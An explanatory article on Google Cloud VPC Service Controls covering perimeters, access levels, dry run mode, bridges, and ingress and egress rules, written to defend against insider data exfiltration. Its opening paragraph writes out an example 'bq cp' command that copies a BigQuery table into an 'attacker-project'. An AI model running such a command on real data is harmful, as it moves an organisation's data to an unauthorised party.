Firewalls protect your network from unauthorized access. IAM protects your resources from unauthorized users. But neither of them protects you from the most dangerous threat of all: a legitimate, authorized user copying your data to an unauthorized project. Imagine a developer with read access to your BigQuery dataset. They run bq cp my-dataset.my-table attacker-project:stolen-data.my-table. The firewall sees nothing wrong—it is a valid API call. IAM sees nothing wrong—the user has read permission. But your data just left your controlled environment.
VPC Service Controls (VPC-SC) solves this problem by creating an invisible security perimeter around your Google Cloud resources. Inside the perimeter, services can talk to each other freely. Outside the perimeter, API calls are blocked—even if the user has the correct IAM permissions. It is the difference between “Can you authenticate?” (IAM) and “Are you calling from a trusted location?” (VPC-SC).
The Anatomy of a Service Perimeter
1. The Perimeter Boundary
A Service Perimeter is a logical boundary around one or more Google Cloud projects. Once a project is inside a perimeter, its protected services (BigQuery, Cloud Storage, Pub/Sub, etc.) can only be accessed from within the perimeter—or from explicitly authorized sources.
2. Protected Services
You choose which Google APIs are protected. If you add bigquery.googleapis.com to the perimeter, every BigQuery API call is subject to the perimeter rules.
3. Access Levels
Not all external access should be blocked. You can define Access Levels that specify conditions under which external access is permitted:
- IP-based: “Allow access from our corporate VPN IP range.”
- Device-based: “Allow access only from managed, encrypted devices.”
- Identity-based (Ingress Rules): “Allow [email protected] to call
storage.googleapis.comfrom outside the perimeter.”
The Dry Run Mode: Test Before You Break
VPC-SC is notorious for breaking things if misconfigured. A perimeter that is too restrictive will block legitimate API calls from Cloud Functions, Dataflow pipelines, or even the Google Cloud Console. Always deploy VPC-SC in Dry Run mode first. Dry Run mode logs what would have been blocked without actually blocking it. You analyze the logs for false positives, adjust your Access Levels and Ingress/Egress policies, and then switch to Enforced mode once you are confident.
Perimeter Bridges
Sometimes two perimeters need to exchange data. For example, the “Analytics” perimeter needs to read data from the “Data Lake” perimeter. You cannot simply add both to the same perimeter (they may have different security requirements).
A Perimeter Bridge creates a bidirectional data exchange channel between two perimeters. Services in Perimeter A can call services in Perimeter B, and vice versa, but neither perimeter is opened to the outside world.
Ingress and Egress Rules
Ingress Rules
Control who can call APIs into the perimeter from outside:
- “Allow
[email protected]to callbigquery.googleapis.comfrom IP range203.0.113.0/24.”
Egress Rules
Control which APIs resources inside the perimeter can call outside:
- “Allow project
my-projectto write to a Cloud Storage bucket inpartner-project.”
These are the fine-grained controls that let you balance security with operational reality.
Putting it Together: A Pro-Engineer View
Imagine you are the data security architect for a bank. You create a VPC-SC perimeter around your data warehouse project. BigQuery, Cloud Storage, and Pub/Sub are all protected. You set an Access Level that allows access only from your corporate managed devices. You deploy in Dry Run mode for two weeks, analyzing the logs to find that your Dataflow pipeline (running in a separate project) is being blocked. You add an Ingress Rule for the Dataflow service account. You create a Perimeter Bridge to your analytics project so data scientists can run queries. Then you switch to Enforced mode. Even if a rogue employee tries to copy a table to their personal project, the API call is denied—not by IAM, but by the perimeter itself. That is the power of VPC-SC.
